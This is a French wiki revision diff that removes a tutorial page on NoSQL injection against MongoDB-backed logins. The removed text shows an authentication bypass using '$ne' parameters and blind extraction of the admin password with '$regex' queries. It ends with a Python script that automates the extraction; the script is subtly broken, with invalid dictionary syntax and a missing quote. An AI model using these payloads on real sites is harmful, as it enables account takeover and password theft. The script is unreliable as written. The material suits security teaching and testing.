Ci-dessous, les différences entre deux révisions de la page.
web:injection_nosql [2016/04/15 10:05] arkinar |
web:injection_nosql [2016/07/04 08:38] |
||
---|---|---|---|
Ligne 1: | Ligne 1: | ||
- | **L'Injection NOSQL** | ||
- | |||
- | Les bases de données NOSQL ont été créées pour répondre au problème de latence des SGBD relationnels sur de grosses bases de données. | ||
- | |||
- | On peut en citer plusieurs telles que: | ||
- | |||
- | - DynamoDB | ||
- | |||
- | - MongoDB | ||
- | |||
- | - Oracle NoSQL | ||
- | |||
- | Néanmoins, l’apparition de ce nouveau moyen de stockage a fait émerger un type de faille innovant: La NOSQL injection. | ||
- | |||
- | Pour les NOSQL injections, la porte d’entrée passe par la création d’un tableau pour faire la requête, pour vous expliquer voici comment ça se passe avec MongoDB: | ||
- | |||
- | <code>$qry = array("user"= $username,password = $userpassword);</code> | ||
- | |||
- | **Exploitation:** | ||
- | |||
- | Selon la documentation MongDB sur les opérateurs de requête "$ne" correspond à "Différent de". | ||
- | |||
- | Nous allons envoyer comme paramètre dans l'url : | ||
- | |||
- | [[http://monsitefaillible.com/index.php?username[$ne]=isileaks&userpassword[$ne]=lool]] | ||
- | |||
- | Ce qui traduit en « Pseudo SQL » donne: « WHERE user!=isileaks and password!=lool ». | ||
- | |||
- | Par défaut nous serons connecté en tant qu'administrateur. | ||
- | |||
- | __REGEX NOSQL:__ | ||
- | |||
- | Pour trouver le mot de passe administrateur nous utiliserons la fonction regex avec la méthode blind. | ||
- | |||
- | Sous MongoDB le "." représente n'importe quel caractère. | ||
- | |||
- | <code>username[$ne]=isileaks&userpassword[$regex]=.{1}</code> | ||
- | |||
- | Dans notre exemple nous cherchons à savoir si le mot de passe administrateur fait 1 caractère. | ||
- | |||
- | Nous allons incrémenter le chiffre entre accolade jusqu'à ce que le "vous êtes connecté en tant qu'admin" disparaisse. | ||
- | |||
- | On obtient: | ||
- | |||
- | <code>username[$ne]=isileaks&userpassword[$regex]=.{5}</code> | ||
- | |||
- | Le mot de passe fait donc 5 caractères. Nous allons faire de même pour trouver les lettres. | ||
- | |||
- | <code>username[$ne]=isileaks&userpassword[$regex]=p.{4} | ||
- | |||
- | username[$ne]=isileaks&userpassword[$regex]=pa.{3} | ||
- | |||
- | username[$ne]=isileaks&userpassword[$regex]=pas.{2} | ||
- | |||
- | username[$ne]=isileaks&userpassword[$regex]=pass.{1} | ||
- | |||
- | username[$ne]=isileaks&userpassword[$regex]=passw</code> | ||
- | |||
- | Le mot de passe est passw. | ||
- | |||
- | Un petit script python pour automatiser tout cela. | ||
- | <code> | ||
- | #!/usr/bin/env python2 | ||
- | # -*- coding: utf8 -*- | ||
- | import requests | ||
- | page = "http://localhost/NOSQL/" | ||
- | taille=0 | ||
- | while 1: | ||
- | forge=".{"+str(taille)+"};" | ||
- | req={"usr_name[$ne]":"hacker"&"usr_password[$regex]":forge} | ||
- | resultat=requests.post(page,data=req).content | ||
- | print(req) | ||
- | if resultat.find("Bienvenue")==-1 : | ||
- | break | ||
- | taille+=1 | ||
- | taille-=1 | ||
- | print("[+] Le password fait "+str(taille)+ caracteres") | ||
- | passwd="" | ||
- | char=48 | ||
- | length=0 | ||
- | while length!=taille: | ||
- | forge=passwd+str(chr(char))+".{"+str(taille-len(passwd)-1)+"};" | ||
- | req={"usr_name[$ne]":"hacker"&"usr_password[$regex]":forge} | ||
- | resultat=requests.post(page,data=req).content | ||
- | print(req) | ||
- | if resultat.find("Bienvenue")!=-1 : | ||
- | passwd+=str(chr(char)) | ||
- | char=48 | ||
- | length+=1 | ||
- | print(passwd) | ||
- | if char==90: | ||
- | char=96 | ||
- | if char==57: | ||
- | char=64 | ||
- | char+=1 | ||
- | print("[+] Le password est: "+str(passwd)) | ||
- | |||
- | </code> | ||
- | |||
- | source : [[https://www.dailysecurity.fr/nosql-injections-classique-blind/]] | ||